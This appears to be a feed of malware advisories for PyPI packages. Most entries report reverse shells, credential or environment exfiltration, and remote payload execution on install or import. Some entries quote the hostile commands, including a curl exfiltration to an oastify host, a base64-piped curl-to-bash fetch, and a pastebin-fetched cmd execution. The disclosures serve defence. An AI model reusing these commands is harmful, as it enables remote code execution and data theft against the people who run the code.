Malicious code in my-package-jiecub3 (PyPI)

Source: kam193 1ec43b076f10c0f300bdde6c106bc020894f238b7b2b72e3a3c146d189bdb3a4 During installation, the package attempts to create a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-04-my-package-jiecub3 Reasons based on the...

Malicious code in mymaldependency (PyPI)

Source: amazon-inspector 38372ffa2ec19cee68f769508d95ffb4f5c1878aeae058ce3e7a33b947d06cf1 MyMalDependencypackage/init.py executes on every import: it calls os.uname and os.getcwd, writes the results to./trans.txt in the installer's working directory, then invokes os.system'scp trans.txt...

Malicious code in myasicapi (PyPI)

Source: kam193 62067570b5217e75a025ba09e5e4f0d059439d8a7d30e056bdd501fe97e4f844 The code and related Github project promise to monitor hardware cryptominers. However, the code additionally hides two malicious capabilities functionalities: 1. acting as an attacker-controller proxy, 2. reversed she...

Malicious code in my-test-package-2025-xyz (PyPI)

Source: kam193 a2f3ab0a3c7ef9009c99575d9dd051c4a97575435cabf5d3a4c223f53bc47b89 During installation, the package opens a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-my-test-package-2025-xyz Reasons based on the campaign: ...

Malicious code in moonbit-locale-compat (PyPI)

Source: kam193 d42bb32adb1fb5f388368b9e4ab382bfbc8cd7f62dab4c70a8563a448ce9c2af Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in moonbit-metrics-validator (PyPI)

Source: kam193 e6bb44c25db578131ec69b1c961c22f67cabb0b81aae5fe9d4620194bf8d83cc Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in moonbit-schema-utils (PyPI)

Source: kam193 5fd7cc9fd6247802480f37b02a23faadb37c7fa5aded77358015c0861ab980e7 Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in mirage-rce (PyPI)

Source: kam193 f9ba7e438828f3bcacd252bc54f00732b129fe6fc8f6a9909d964720ac1e6420 Setup.py contains a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-02-mirage-rce Reasons based on the campaign: - The package contains code to crea...

Malicious code in mi-test-99-tuapellido (PyPI)

Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditionally executes a shell pipeline that POSTs the output of the ...

Malicious code in mcp-runcommand-server (PyPI)

Source: kam193 17f8adb9e7e30e13f8656300881d4e04975f499c03c2f1dbea2e00fd86c357a5 Package starts a reverse shell to a hardcoded location --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-10-mcp-runcommand-server Reasons based on the campaign: - T...

Malicious code in mcp-runcmd-server (PyPI)

Source: kam193 2e5608c421ba44a3a2e20b924bd3399d6452dba66e7aea10a0fcdc8044f5a996 Package starts a reverse shell to a hardcoded location --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-10-mcp-runcommand-server Reasons based on the campaign: - T...

Malicious code in mcp-runcommand-server2 (PyPI)

Source: kam193 36fb61d44529c380f204d5a210017989695ef39df6adfce7ccfb08e48a17b594 Package starts a reverse shell to a hardcoded location --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-10-mcp-runcommand-server Reasons based on the campaign: - T...

Malicious code in mcp-pdftool-plus (PyPI)

Source: kam193 2e92dea8be02288f271dacad2cd77f1bdd54596da1691cb738c4a7b7b4f77d21 When using the library, the hidden code starts a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-01-mcp-pdftool-plus Reasons based on the campaign: ...

Malicious code in matlab-cli (PyPI)

Source: kam193 ff0a277d45885a5c1a26f027495e73b5e0aa8b49c7ee3eeafd06cc14e6e8f754 Importing the module starts a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-05-matlab-cli Reasons based on the campaign: - impersonation - The...

Malicious code in maxpatrol (PyPI)

The package contains code to download and execute a reverse shell script. Source: kam193 e7b0664f3eb50be717290db2d08e1be4a3dcbce029ad58fae9cffb04f09a51c1 When imported, the package download and runs a remote stage - a reverse shell. To mask activity, the remote domain is made to mimic PyPI host:...

Malicious code in marinff-test (PyPI)

Source: kam193 c25b081dd711bcb5076c5fbd0ea034850b8e428fed345d93e60036e0e91c9f66 Installing the package starts a reverse shell. The remote server is, however, set as a local IP, so it's most probably testing --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but also...

Malicious code in managment (PyPI)

Source: kam193 754c9b609bb8dafc0fd21d141cd216744d9f2aa1f23898990c52e872fdc23e1a Installing the package starts a revshell and download and starts a remote script depending on version, different malicious functionality. The name seems to imitate CPAN.org --- Category: MALICIOUS - The campaign has...

Malicious code in m-at-star-tools (PyPI)

Source: amazon-inspector 2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2 The package's sole consolescript m0scan m0scan/main.py:6-7 executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host...

Malicious code in llmgenerator (PyPI)

Source: amazon-inspector 06e55ac2d3368516d538c8efaad2b83814dbb61813f36ab5655f77677ca0d6be On pip install, setup.py performs an HTTP GET to https://pastebin.com/raw/yBcUM1QB, takes the first line of the response body, and passes it to os.systemf'cmd /c "cmdpastebin"'. The fetched content is mutabl...

Malicious code in learning-pypi-demo-nisimi (PyPI)

Source: kam193 0b3a0d62b36ae3a2e643a327b7cf5b88366d4a8a89381eca570f34c453f1eaf4 Installing packages exfiltrates data different in different packages and versions or run revshells --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...